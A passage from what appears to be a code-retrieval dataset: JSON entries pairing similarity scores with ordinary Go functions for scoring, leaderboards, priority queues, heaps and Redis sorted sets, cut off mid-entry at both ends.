"title": "" }, { "docid": "5a37391ddda4f906808c842863c96a2d", "score": "0.4737258", "text": "func (r *PriorityQueueShard) Enqueue(element ShardElement) bool {\n\texists := r.priorityQueue.Get(element)\n\tif exists != nil {\n\t\tv := exists.(ShardElement)\n\t\t// I can only change the Message state if the new Message contains\n\t\t// a timestamp at lest equals to the already present on memory and\n\t\t// a state that is currently higher or equal than the previous one.\n\t\t// Thus ensuring that the Message do not \"go back in time\".\n\t\tif v.IsAcceptable() && v.IsUpdatedVersion(element) {\n\t\t\treturn r.verifyAndInsert(element)\n\t\t}\n\t\treturn false\n\t}\n\treturn r.verifyAndInsert(element)\n}", "title": "" }, { "docid": "8702bfa9e9cb1541699b25002c44e212", "score": "0.47295383", "text": "func (s *Score) Add(a Score) {\n\ts.MidGameValue += a.MidGameValue\n\ts.EndGameValue += a.EndGameValue\n}", "title": "" }, { "docid": "5ec1f780ed40011f19160a38915d8c81", "score": "0.47275254", "text": "func Score(h []cardDeck.Card) (int, bool) {\n\ts := 0\n\tsoft := false\n\tfor _, c := range h {\n\t\ts += min(int(c.Rank), 10)\n\t\tif c.Rank == cardDeck.Ace {\n\t\t\tsoft = true\n\t\t}\n\t}\n\tif soft && s < 12 {\n\t\ts += 10\n\t}\n\treturn s, soft\n}", "title": "" }, { "docid": "80f2ddffe0ab6c963aa591501381a626", "score": "0.4723446", "text": "func (r *redisRepo) InsertUserScore(ctx context.Context, username string, score float64) error {\n\t_, err := r.Redis.ZAdd(ctx, r.Username, &redis.Z{Score: score, Member: username}).Result()\n\n\treturn err\n}", "title": "" }, { "docid": "9179baa78737a8f3df54ad4ad0b09bac", "score": "0.47129804", "text": "func scoreCheck() {\n\t// Loop through code and find scores greater than 30 or less than 0. If\n\t// found exit with status code 1.\n\tfor i := 0; i < len(score); i++ {\n\t\tif score[i] > 30 || score[i] < 0 {\n\t\t\tfmt.Println(\"Incorrect score submitted (out of range):\", score[i])\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7c38c14e9581300b6ded8034e19780c2", "score": "0.47078806", "text": "func insertScore(msg *sse.Event) {\n\tscore := models.StudentExam{}\n\terr := json.Unmarshal(msg.Data, &score)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = db.UpsertRow(config.ScoreTable, score)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "7ded112b880f8d678c532501573cbc0f", "score": "0.47039405", "text": "func (s *Scorer) Score(tt []tile.Tile) int {\n\tscore := 0\n\tfor _, t := range tt {\n\t\tscore = score + t.Score\n\t}\n\treturn score\n}", "title": "" }, { "docid": "984b37b6dc6512dc5ec9125b2d8e9aa4", "score": "0.4697177", "text": "func (s ByScore) Less(i, j int) bool {\n\treturn s[i].Score < s[j].Score\n}", "title": "" }, { "docid": "984b37b6dc6512dc5ec9125b2d8e9aa4", "score": "0.4697177", "text": "func (s ByScore) Less(i, j int) bool {\n\treturn s[i].Score < s[j].Score\n}", "title": "" }, { "docid": "b907cd5231aaa76462afd35a61c2bae2", "score": "0.4696702", "text": "func (sp *serverPeer) addBanScore(persistent, transient uint32, reason string) bool {\n\t// No warning is logged and no score is calculated if banning is disabled.\n\tif cfg.DisableBanning {\n\t\treturn false\n\t}\n\tif sp.isWhitelisted {\n\t\tpeerLog.Debugf(\"Misbehaving whitelisted peer %s: %s\", sp, reason)\n\t\treturn false\n\t}\n\n\twarnThreshold := cfg.BanThreshold >> 1\n\tif transient == 0 && persistent == 0 {\n\t\t// The score is not being increased, but a warning message is still\n\t\t// logged if the score is above the warn threshold.\n\t\tscore := sp.banScore.Int()\n\t\tif score > warnThreshold {\n\t\t\tpeerLog.Warnf(\"Misbehaving peer %s: %s -- ban score is %d, \"+\n\t\t\t\t\"it was not increased this time\", sp, reason, score)\n\t\t}\n\t\treturn false\n\t}\n\tscore := sp.banScore.Increase(persistent, transient)\n\tif score > warnThreshold {\n\t\tpeerLog.Warnf(\"Misbehaving peer %s: %s -- ban score increased to %d\",\n\t\t\tsp, reason, score)\n\t\tif score > cfg.BanThreshold {\n\t\t\tpeerLog.Warnf(\"Misbehaving peer %s -- banning and disconnecting\",\n\t\t\t\tsp)\n\t\t\tsp.server.BanPeer(sp)\n\t\t\tsp.Disconnect()\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "3c854c15d9f8c6648d98e19a27b6cb37", "score": "0.46910143", "text": "func (bq *baseQueue) Add(repl *Replica, priority float64) (bool, error) {\n\tbq.mu.Lock()\n\tdefer bq.mu.Unlock()\n\tctx := repl.AnnotateCtx(bq.AnnotateCtx(context.TODO()))\n\treturn bq.addInternal(ctx, repl.Desc(), true, priority)\n}", "title": "" }, { "docid": "c6ebabc958453f643c328a78a5ecc2ef", "score": "0.46621704", "text": "func (heap MaxHeap) HasGreaterChild(ho HeapObject) bool {\n\tleft := ho.Index * 2\n\tright := ho.Index*2 + 1\n\tif left < len(heap) {\n\t\tif c := heap[left]; c.Score > ho.Score {\n\t\t\treturn true\n\t\t}\n\t}\n\tif right < len(heap) {\n\t\tif c := heap[right]; c.Score > ho.Score {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "684f9384cc0a04a3e340e071f1fded1d", "score": "0.4641132", "text": "func (b *bucket) bump(n *Node) bool {\n\tfor i := range b.entries {\n\t\tif b.entries[i].ID == n.ID {\n\t\t\t// move it to the front\n\t\t\tcopy(b.entries[1:], b.entries[:i])\n\t\t\tb.entries[0] = n\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "9fedfca2331d6ddf9927b47d9c8ff615", "score": "0.463917", "text": "func UpsertMemberLeaderboardsScoreHandler(app *App) func(c echo.Context) error {\n\treturn func(c echo.Context) error {\n\t\tlg := app.Logger.With(\n\t\t\tzap.String(\"handler\", \"UpsertMemberLeaderboardsScoreHandler\"),\n\t\t)\n\t\tmemberPublicID := c.Param(\"memberPublicID\")\n\t\tscoreTTL := c.QueryParam(\"scoreTTL\")\n\n\t\tvar payload setScoresPayload\n\n\t\tprevRank := false\n\t\tprevRankStr := c.QueryParam(\"prevRank\")\n\t\tif prevRankStr != \"\" && prevRankStr == \"true\" {\n\t\t\tprevRank = true\n\t\t}\n\n\t\terr := WithSegment(\"Payload\", c, func() error {\n\t\t\tb, err := GetRequestBody(c)\n\t\t\tif err != nil {\n\t\t\t\tapp.AddError()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif _, err := jsonparser.GetInt(b, \"score\"); err != nil {\n\t\t\t\tapp.AddError()\n\t\t\t\treturn fmt.Errorf(\"score is required\")\n\t\t\t}\n\t\t\tif err := LoadJSONPayload(&payload, c, lg); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn FailWith(400, err.Error(), c)\n\t\t}\n\n\t\tserializedScores := make([]map[string]interface{}, len(payload.Leaderboards))\n\n\t\terr = WithSegment(\"Model\", c, func() error {\n\t\t\tfor i, leaderboardID := range payload.Leaderboards {\n\t\t\t\tl := leaderboard.NewLeaderboard(app.RedisClient.Trace(c.StdContext()), leaderboardID, 0, lg)\n\t\t\t\tmember, err := l.SetMemberScore(memberPublicID, payload.Score, prevRank, scoreTTL)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tapp.AddError()\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tserializedScore := serializeMember(member, -1, scoreTTL != \"\")\n\t\t\t\tserializedScore[\"leaderboardID\"] = leaderboardID\n\t\t\t\tserializedScores[i] = serializedScore\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn FailWith(500, err.Error(), c)\n\t\t}\n\n\t\treturn SucceedWith(map[string]interface{}{\n\t\t\t\"scores\": serializedScores,\n\t\t}, c)\n\t}\n}", "title": "" }, { "docid": "6cc8a4f9f9fed007c3f190dbbdb39095", "score": "0.462584", "text": "func stoneGame(piles []int)bool {\n\tdp := make([][]int, 0)\n\tsum := 0\n\tfor i := 0; i < len(piles); i ++ {\n\t\tsum += piles[i]\n\t\tdp = append(dp, make([]int, len(piles), len(piles)))\n\t}\n\n\tfor length := 0; length < len(piles); length ++ {\n\t\tfor start := 0; start < len(piles) - length; start ++ {\n\t\t\tif length == 0 {\n\t\t\t\tdp[start][start] = piles[start]\n\t\t\t} else if length == 1 {\n\t\t\t\tdp[start][start+1] = utils.Max(piles[start], piles[start+1])\n\t\t\t} else {\n\t\t\t\tdp[start][start+length] = utils.Max(piles[start]+utils.Min(dp[start+1][start+length-1],\n\t\t\t\t\tdp[start+2][start+length]), piles[start+length]+utils.Min(dp[start+1][start+length-1],\n\t\t\t\t\tdp[start][start+length-2]))\n\t\t\t}\n\t\t}\n\t}\n\treturn dp[0][len(piles)-1] > (sum / 2)\n}", "title": "" }, { "docid": "c12fc807dba14d36629103657f1dc683", "score": "0.46213984", "text": "func (r *PriorityQueueShard) verifyAndInsert(element ShardElement) bool {\n\tr.priorityQueue.Push(element)\n\treturn true\n}", "title": "" }, { "docid": "da81ab13c2a49b0f062a7fc6902b7b06", "score": "0.46124247", "text": "func UpdateGameScoreInfoUp(db *gorm.DB, userID int32, scoreInfo GameScoreInfo) error {\r\n\tsqlPre := \"UPDATE game_score_info SET \"\r\n\tsqlPre += fmt.Sprintf(\" total_coin_stream =total_coin_stream + ABS(%v), gold_coin=gold_coin+%v, diamond=%v, \"+\r\n\t\t\"revenue=revenue+ %v, win_count=win_count+ %v, lost_count=lost_count+%v, \"+\r\n\t\t\"draw_count=draw_count+%v,\"+\r\n\t\t\"flee_count=flee_count+%v,play_time_count=play_time_count+%v,jackpot=%v\"+\r\n\t\t\" WHERE user_id=%v\", scoreInfo.TotalCoinStream, scoreInfo.GoldCoin, scoreInfo.Diamond, scoreInfo.Revenue, scoreInfo.WinCount, scoreInfo.LostCount, scoreInfo.DrawCount, scoreInfo.FleeCount,\r\n\t\tscoreInfo.PlayTimeCount, scoreInfo.Jackpot, userID)\r\n\treturn db.Debug().Exec(sqlPre).Error\r\n}", "title": "" }, { "docid": "7b54a09a4053269c763be70ac9c28c8b", "score": "0.46040496", "text": "func AddScoreToScoreEntities(w http.ResponseWriter, r *http.Request) error {\n\tc := appengine.NewContext(r)\n\tdesc := \"Task queue - Add score to score entity Handler:\"\n\n\tif r.Method != \"POST\" {\n\t\treturn &helpers.BadRequest{Err: errors.New(helpers.ErrorCodeNotSupported)}\n\t}\n\n\tlog.Infof(c, \"%s processing...\", desc)\n\tlog.Infof(c, \"%s reading data...\", desc)\n\n\tuserIdsBlob := []byte(r.FormValue(\"userIds\"))\n\tscoresBlob := []byte(r.FormValue(\"scores\"))\n\ttournamentBlob := []byte(r.FormValue(\"tournament\"))\n\n\tvar userIds []int64\n\terr1 := json.Unmarshal(userIdsBlob, &userIds)\n\tif err1 != nil {\n\t\tlog.Errorf(c, \"%s unable to extract userIds from data, %v\", desc, err1)\n\t}\n\n\tvar scores []int64\n\terr1 = json.Unmarshal(scoresBlob, &scores)\n\tif err1 != nil {\n\t\tlog.Errorf(c, \"%s unable to extract userIds from data, %v\", desc, err1)\n\t}\n\n\tvar t mdl.Tournament\n\terr1 = json.Unmarshal(tournamentBlob, &t)\n\tif err1 != nil {\n\t\tlog.Errorf(c, \"%s unable to extract userIds from data, %v\", desc, err1)\n\t}\n\n\tlog.Infof(c, \"%s value of user ids: %v\", desc, userIds)\n\tlog.Infof(c, \"%s value of scores: %v\", desc, scores)\n\tlog.Infof(c, \"%s value of tournament id: %d\", desc, t.Id)\n\n\tlog.Infof(c, \"%s crunching data...\", desc)\n\tusers := make([]*mdl.User, len(userIds))\n\ttournamentScores := make([]*mdl.Score, len(userIds))\n\tlog.Infof(c, \"%s get users\", desc)\n\tfor i, id := range userIds {\n\t\tif u, err := mdl.UserByID(c, id); err != nil {\n\t\t\tlog.Errorf(c, \"%s cannot find user with id=%v\", desc, id)\n\t\t} else {\n\t\t\tusers[i] = u\n\t\t}\n\t}\n\n\tlog.Infof(c, \"%s get tournament score entities\", desc)\n\tfor i := range users {\n\t\tif users[i] != nil {\n\t\t\tif se, err1 := users[i].TournamentScore(c, &t); se == nil {\n\t\t\t\tlog.Errorf(c, \"%s score entity does not exist. %v\", desc, err1)\n\t\t\t} else {\n\t\t\t\ttournamentScores[i] = se\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Infof(c, \"%s add scores\", desc)\n\tif err := mdl.AddScores(c, tournamentScores, scores); err != nil {\n\t\tlog.Errorf(c, \"%s cannot add scores to score entities. %v\", desc, err)\n\t\treturn &helpers.BadRequest{Err: errors.New(helpers.ErrorCodeInternal)}\n\t}\n\tlog.Infof(c, \"%s task done!\", desc)\n\treturn nil\n}", "title": "" }, { "docid": "b2fa87a5179ee0b099826b45d0f31ef3", "score": "0.4588524", "text": "func (r *KVrepository) Put(score [32]byte, chunk []byte) (err error) {\n\t// Put combines Get and Set in a more efficient way where the DB is searched for the key only once.\n\t// The upd(ater) receives the current (key, old-value), if that exists or (key, nil) otherwise.\n\t// It can then return a (new-value, true, nil) to create or overwrite the existing value in the KV pair,\n\t// or (whatever, false, nil) if it decides not to create or not to update the value of the KV pair.\n\tr.db.Set(score[:], chunk)\n\treturn nil\n}", "title": "" }, { "docid": "8895077a48f572c76f99a056fc5b845a", "score": "0.4586751", "text": "func (b Board) Equals(other *Board) bool {\n\tif b.maxValue == other.maxValue {\n\t\tfor row := 1; row <= b.maxValue; row++ {\n\t\t\tfor col := 1; col <= b.maxValue; col++ {\n\t\t\t\tc, e := b.getCell(col, row)\n\t\t\t\tif e == nil {\n\t\t\t\t\tc2, e2 := other.getCell(col, row)\n\t\t\t\t\tif e2 == nil {\n\t\t\t\t\t\tif !c.Equals(c2) {\n\t\t\t\t\t\t\tfmt.Printf(\"cells not equivavlent at %d, %d\\n\", col, row)\n\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Printf(\"error getting cell at %d, %d\\n\", col, row)\n\t\t\t\t\t\treturn false\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Printf(\"error getting cell at %d, %d\\n\", col, row)\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn true\n\t}\n\tfmt.Printf(\"boards not the same size\\n\")\n\treturn false\n}", "title": "" }, { "docid": "26871692e832cbe66eee8b8450535d1f", "score": "0.45712566", "text": "func (p *Seat) UpdateScore() {\n\n\tindex := 0\n\n\tfor index < len(p.Cards) {\n\t\tp.Score += p.Cards[index]\n\t\tindex++\n\t}\n}", "title": "" }, { "docid": "001ebfcd8256f7bda582db023522e364", "score": "0.45657927", "text": "func (p *Player) CheckWinner(score int) bool {\n if p.distance >= score {\n return true\n } else {\n return false\n }\n}", "title": "" }, { "docid": "25c6d70eaa6e3df8089ca9eec42ec632", "score": "0.4563876", "text": "func (s scoresSorter) Less(i, j int) bool {\n\treturn s[i].Score > s[j].Score\n}", "title": "" }, { "docid": "14197d24f16dc1dc908c67e1910c80dc", "score": "0.45611158", "text": "func (l *SortedList) RemoveScore(score interface{}) bool {\n\tif l.length == 0 {\n\t\treturn false\n\t}\n\tcur := l.head.next\n\tfor cur != l.rear {\n\t\tif cur.score == score {\n\t\t\tcur.next.prev = cur.prev\n\t\t\tcur.prev.next = cur.next\n\t\t\tl.length--\n\t\t\tif cur.next != l.rear {\n\t\t\t\tif cur.next.score == score {\n\t\t\t\t\tcur = cur.next\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\t\tcur = cur.next\n\t}\n\treturn false\n}", "title": "" }, { "docid": "83ad763b5f027d3fee6b9124f1bd4910", "score": "0.45519775", "text": "func (s *Redis) Zadd(key string, score int64, value string) (val bool, err error) {\n\terr = s.brk.DoWithAcceptable(func() error {\n\t\tconn, err := getRedis(s)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tv, err := conn.ZAdd(key, red.Z{\n\t\t\tScore: float64(score),\n\t\t\tMember: value,\n\t\t}).Result()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tval = v == 1\n\t\treturn nil\n\t}, acceptable)\n\n\treturn\n}", "title": "" }, { "docid": "7e1bfc566a3fab838a3ff54210c2d87c", "score": "0.45442563", "text": "func (l *SortedList) Contain(score interface{}, value interface{}) bool {\n\tif l.length == 0 {\n\t\treturn false\n\t}\n\tcur := l.head.next\n\tfor cur != l.rear {\n\t\tif cur.value == value && cur.score == score {\n\t\t\treturn true\n\t\t}\n\t\tcur = cur.next\n\t}\n\treturn false\n}", "title": "" }, { "docid": "e6736db77da6f2ea495332c668632226", "score": "0.45260635", "text": "func chargeupScore(g *SplitGame, player *player.Player, points int, sequence *undo.Sequence) {\n\tpreviousScore := player.Score.Score\n\tplayer.Score.Score += points\n\tsequence.AddActionToSequence(undo.Action{\n\t\tAction: \"UPDATESPLITSCORE\",\n\t\tPreviousScore: previousScore,\n\t\tPlayer: player,\n\t})\n}", "title": "" }, { "docid": "042cda91d48b3e33acd4a798aa944e80", "score": "0.45230857", "text": "func (mpvl *MultiPVItemList) HasScore() bool {\n\tif len(*mpvl) <= 0 {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "00befc28cd5dae8fcdd3380c9aba5ed2", "score": "0.45214552", "text": "func (k Keeper) AppendScores(\n\tctx sdk.Context,\n\tscores types.Scores,\n) uint64 {\n\t// Create the scores\n\tcount := k.GetScoresCount(ctx)\n\n\t// Set the ID of the appended value\n\tscores.Id = count\n\n\tstore := prefix.NewStore(ctx.KVStore(k.storeKey), types.KeyPrefix(types.ScoresKey))\n\tappendedValue := k.cdc.MustMarshal(&scores)\n\tstore.Set(GetScoresIDBytes(scores.Id), appendedValue)\n\n\t// Update scores count\n\tk.SetScoresCount(ctx, count+1)\n\n\treturn count\n}", "title": "" }, { "docid": "f0f7b5d5780eca821748bd7ce79c39d9", "score": "0.45187658", "text": "func (r ResultList) Less(i, j int) bool {\n\treturn r[i].Score > r[j].Score\n}", "title": "" }, { "docid": "5f868f9a428d40730770e60e786aebe2", "score": "0.4489514", "text": "func (this *RandomizedCollection) Insert(val int) bool {\n\tres := true\n\tif _, ok := this.mapVal[val]; ok {\n\t\tres = false\n\t} else {\n\t\tthis.mapVal[val] = map[int]struct{}{}\n\t}\n\tthis.mapVal[val][len(this.values)] = struct{}{}\n\tthis.values = append(this.values, val)\n\treturn res\n}", "title": "" }, { "docid": "174f8b4737bc7725ed1b9877c18639ca", "score": "0.44875646", "text": "func saveScoreHandler(w http.ResponseWriter, r *http.Request, title string) {\n\t// load existing data\n\tp, err := loadGameData(title)\n\tif err != nil {\n\t\thttp.NotFound(w, r)\n\t\treturn\n\t}\n\n\t// add score and save data\n\tp.Metadata[\"scores\"] += r.FormValue(\"player-one\") + \",\" + r.FormValue(\"score-one\") + \",\" + r.FormValue(\"player-two\") + \",\" + r.FormValue(\"score-two\") + \"\\n\"\n\tsaveErr := p.saveGameData()\n\tif saveErr != nil {\n\t\thttp.Error(w, saveErr.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// redirect to view\n\thttp.Redirect(w, r, \"/view-game/\"+p.Title, http.StatusFound)\n}", "title": "" }, { "docid": "17e345d0cad526e66b76731bcf4667be", "score": "0.44736615", "text": "func (p *Player) UpdateScore(points int) {\n\tp.score += points\n}", "title": "" }, { "docid": "334aa1a61e70a9ea8b97c40587a19934", "score": "0.44597986", "text": "func _add_rank(ud *User) {\n\t_lock_ranklist.Lock()\n\tdefer _lock_ranklist.Unlock()\n\t_ranklist.Insert(int(ud.Score), ud.Id)\n\t_id_score[ud.Id] = ud.Score\n}", "title": "" }, { "docid": "41a735c56feadbc8dce1bbcab219a02c", "score": "0.4453495", "text": "func (eng *Engine) updateHash(α, β, depth, score int32, move Move) {\n\tkind := exact\n\tif score <= α {\n\t\tkind = failedLow\n\t} else if score >= β {\n\t\tkind = failedHigh\n\t}\n\n\t// Save the mate score relative to the current position.\n\t// When retrieving from hash the score will be adjusted relative to root.\n\tif score < KnownLossScore {\n\t\tif kind == exact {\n\t\t\tscore -= eng.ply()\n\t\t} else if kind == failedLow {\n\t\t\tscore = KnownLossScore\n\t\t} else {\n\t\t\treturn\n\t\t}\n\t} else if score > KnownWinScore {\n\t\tif kind == exact {\n\t\t\tscore += eng.ply()\n\t\t} else if kind == failedHigh {\n\t\t\tscore = KnownWinScore\n\t\t} else {\n\t\t\treturn\n\t\t}\n\t}\n\n\tGlobalHashTable.put(eng.Position, hashEntry{\n\t\tkind: kind,\n\t\tscore: score,\n\t\tdepth: int8(depth),\n\t\tmove: move,\n\t})\n}", "title": "" }, { "docid": "f0d80373a614f9c49eafb00a4f700960", "score": "0.44478947", "text": "func NewEntry(name string, score int) *Entry {\n\treturn &Entry{\n\t\tName: name,\n\t\tScore: ScoreType(score),\n\t\tTime: time.Now().UTC(),\n\t}\n}", "title": "" }, { "docid": "7d21c09425cdd4fcf752f20294801e74", "score": "0.44454843", "text": "func (pq *PriorityQueue) Add(o ...interface{}) (bool, error) {\n\treturn pq.Offer(o...)\n}", "title": "" }, { "docid": "9258be220e27d8ec0ebad68c9a0c416b", "score": "0.44427493", "text": "func (this *RandomizedSet) Insert(val int) bool {\n if _, exists := this.m[val]; exists {\n return false\n }\n this.nums = append(this.nums, val)\n this.m[val] = len(this.nums) - 1\n return true\n}", "title": "" }, { "docid": "b6f1e3a5bce7fb00f5ecabcb3525c096", "score": "0.44418737", "text": "func UpdateLeaderboard() {\n\tvar l = logger.WithFields(logrus.Fields{\n\t\t\"method\": \"UpdateLeaderboard\",\n\t})\n\n\tl.Infof(\"Attempting to update leaderboard\")\n\n\tvar results []leaderboardQueryData\n\tvar leaderboardEntries []*LeaderboardRow\n\n\tdb := getDB()\n\t//begin transaction\n\ttx := db.Begin()\n\n\tquery := fmt.Sprintf(`\n\t\tSELECT U.id as user_id, U.name as user_name, U.isBlocked as is_blocked,\n\t\t\tU.cash + U.reservedCash as cash,\n\t\t\tifNull((SUM(cast(S.currentPrice AS signed) * cast(T.stockQuantity AS signed)) + SUM(cast(S.currentPrice AS signed) * cast(T.reservedStockQuantity AS signed)) ),0) AS stock_worth,\n\t\t\tifnull((U.cash + U.reservedCash + SUM(cast(S.currentPrice AS signed) * cast(T.stockQuantity AS signed)) + SUM(cast(S.currentPrice AS signed) * cast(T.reservedStockQuantity AS signed))),U.cash) AS total\n\t\tFROM\n\t\t\tUsers U LEFT JOIN Transactions T ON U.id = T.userId\n\t\t\t\t\tLEFT JOIN Stocks S ON T.stockId = S.id\n\t\tWHERE U.blockCount < %d\n\t\tGROUP BY U.id\n\t\tORDER BY Total DESC;\n\t`, config.MaxBlockCount)\n\ttx.Raw(query).Scan(&results)\n\n\tvar rank = 1\n\tvar counter = 1\n\n\tfor index, result := range results {\n\t\tleaderboardEntries = append(leaderboardEntries, &LeaderboardRow{\n\t\t\tId: uint32(index + 1),\n\t\t\tUserId: result.UserId,\n\t\t\tUserName: result.UserName,\n\t\t\tCash: result.Cash,\n\t\t\tRank: uint32(rank),\n\t\t\tDebt: 0,\n\t\t\tStockWorth: result.StockWorth,\n\t\t\tTotalWorth: result.Total,\n\t\t\tIsBlocked: result.IsBlocked,\n\t\t})\n\n\t\tch, user, err := getUserExclusively(result.UserId)\n\t\tif err != nil {\n\t\t\tl.Errorf(\"Error updating leaderboard. Failing. %+v\", err)\n\t\t\treturn\n\t\t}\n\t\tuser.Total = result.Total\n\n\t\t// It was found that the total column in user table was not accurate\n\t\t// This ensures that the total column in User table is in sync with the leaderboard total\n\t\tif err := tx.Save(user).Error; err != nil {\n\t\t\tl.Errorf(\"Error saving user data. Rolling back. Error: %+v\", err)\n\t\t\ttx.Rollback()\n\t\t\treturn\n\t\t}\n\t\tclose(ch)\n\n\t\tcounter += 1\n\t\tif index+1 < len(results) && results[index+1].Total < result.Total {\n\t\t\trank = counter\n\t\t}\n\t}\n\n\ttx.Exec(\"TRUNCATE TABLE Leaderboard\")\n\n\tfor _, leaderboardEntry := range leaderboardEntries {\n\t\tif err := tx.Save(leaderboardEntry).Error; err != nil {\n\t\t\tl.Errorf(\"Error updating leaderboard. Failing. %+v\", err)\n\t\t\ttx.Rollback()\n\t\t\treturn\n\t\t}\n\t}\n\n\t//commit transaction\n\tif err := tx.Commit().Error; err != nil {\n\t\tl.Errorf(\"Error committing leaderboardUpdate transaction. Failing. %+v\", err)\n\t\ttx.Rollback()\n\t\treturn\n\t}\n\n\tl.Infof(\"Successfully updated leaderboard\")\n}", "title": "" }, { "docid": "d875b475e08c5c6ae8f342f51e45878e", "score": "0.44408146", "text": "func (h *Heap) Insert(v int) bool {\n\tif h.c == h.n {\n\t\treturn false\n\t}\n\th.c++\n\th.h[h.c] = v\n\ti := h.c\n\tp := i / 2\n\tfor p > 0 && h.h[p] < h.h[i]{\n\t\th.h[p], h.h[i] = h.h[i], h.h[p]\n\t\ti = p\n\t\tp = i / 2\n\t}\n\treturn true\n}", "title": "" }, { "docid": "9d7c25d58046d18302717b2529175d09", "score": "0.44381705", "text": "func (rt *rangeTree) Add(r Range) bool {\n\tif err := rangeError(r); err != nil {\n\t\tpanic(err)\n\t}\n\tkey := rt.makeKey(r)\n\toverlaps := rt.t.Get(key.r)\n\tif len(overlaps) == 0 {\n\t\tif err := rt.insertKey(key); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\treturn true\n\t}\n\tfirst := overlaps[0].(*rangeKey)\n\n\t// If a current range fully contains the new range, no\n\t// need to add it.\n\tif first.Contains(key) {\n\t\treturn false\n\t}\n\n\t// Merge as many ranges as possible, and replace old range.\n\tfirst.r = merge(first.r, r)\n\tfor _, o := range overlaps[1:] {\n\t\tother := o.(*rangeKey)\n\t\tfirst.r = merge(first.r, other.r)\n\t\tif err := rt.t.Delete(o, true /* fast */); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\trt.t.AdjustRanges()\n\treturn true\n}", "title": "" }, { "docid": "e8703674defa0c4840b13209c98d98fc", "score": "0.44371456", "text": "func (l *_TrxList) Add(trx *Transaction, priceBump uint64) (bool, *Transaction) {\n\t// If there's an older better transaction, abort\n\told := l.trxs.Get(trx.Nonce)\n\tif old != nil {\n\t\tthreshold := new(big.Int).Div(new(big.Int).Mul(old.GasPrice(), big.NewInt(100+int64(priceBump))), big.NewInt(100))\n\t\t// Have to ensure that the new gas price is higher than the old gas\n\t\t// price as well as checking the percentage threshold to ensure that\n\t\t// this is accurate for low (Wei-level) gas price replacements\n\t\tif old.GasPrice().Cmp(trx.GasPrice()) >= 0 || threshold.Cmp(trx.GasPrice()) > 0 {\n\t\t\treturn false, nil\n\t\t}\n\t}\n\t// Otherwise overwrite the old transaction with the current one\n\tl.trxs.Put(trx)\n\tif cost := trx.Cost(); l.costcap.Cmp(cost) < 0 {\n\t\tl.costcap = cost\n\t}\n\tif gas := trx.Gas(); l.gascap < gas {\n\t\tl.gascap = gas\n\t}\n\treturn true, old\n}", "title": "" }, { "docid": "f1a7b483316017b7e64778bcda46881f", "score": "0.4433308", "text": "func (ab *alphaBetaSearcher) ScoreMatch(b *Board, actions []Action) (\n\tscores []float32, actionsLabels [][]float32) {\n\tscores = make([]float32, 0, len(actions)+1)\n\tactionsLabels = make([][]float32, 0, len(actions))\n\tfor actionIdx, action := range actions {\n\t\tbestAction, newBoard, score := TimedAlphaBeta(b, ab.scorer, ab.maxDepth, ab.parallelized, ab.randomness)\n\t\tglog.V(1).Infof(\"Move #%d (%d left), Action taken: %s / Best action examined %s (score=%.4g)\",\n\t\t\tb.MoveNumber, len(actions)-actionIdx-1, action, bestAction, score)\n\t\tscores = append(scores, score)\n\t\tif len(b.Derived.Actions) > 1 {\n\t\t\t// AlphaBetaPruning policy is binary, effectively being one-hot-encoding.\n\t\t\tbestActionIdx := b.FindAction(bestAction)\n\t\t\tbestActionVec := make([]float32, len(b.Derived.Actions))\n\t\t\tbestActionVec[bestActionIdx] = 1\n\t\t\tactionsLabels = append(actionsLabels, bestActionVec)\n\t\t} else {\n\t\t\tactionsLabels = append(actionsLabels, nil)\n\t\t}\n\t\tif action == bestAction {\n\t\t\tb = newBoard\n\t\t} else {\n\t\t\t// Match action was different than what it would have played.\n\t\t\tb = b.Act(action)\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "59208668b167f11e8239b666eee1c157", "score": "0.44314337", "text": "func updateScores(field [][]Cell, b float64) {\n // Update the score in each cell\n var row int = len(field)\n var column int = len(field[0])\n for i := 0; i < row; i++ {\n \tfor j := 0; j < column; j++ {\n \t\tfield[i][j].score = gameScore(field, i, j, b)\n \t}\n }\n}", "title": "" }, { "docid": "f41c534d2bc2a317aa090f0215046e6f", "score": "0.44182998", "text": "func (blogPostSetters) Score(v int64) blogPostSetterArg {\n\treturn blogPostSetterArg{\n\t\tfield: \"score\",\n\t\tvalue: v,\n\t}\n}", "title": "" }, { "docid": "637a2f0803abc7a69f41d276eee04411", "score": "0.43972436", "text": "func (gdb glasspoolDB) POSTED(key, value []byte) error {\n\treturn gdb.boltptr.Update(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(\"POSTED\"))\n\t\terr := b.Put(key, value)\n\t\treturn err\n\t})\n}", "title": "" }, { "docid": "7b1889b1406ded7d7819be5e059452c3", "score": "0.43968838", "text": "func (r *scoreRepository) SaveScore(score *Score) error {\n\tdb, err := r.connFactory.Open()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.Close()\n\n\ttx := 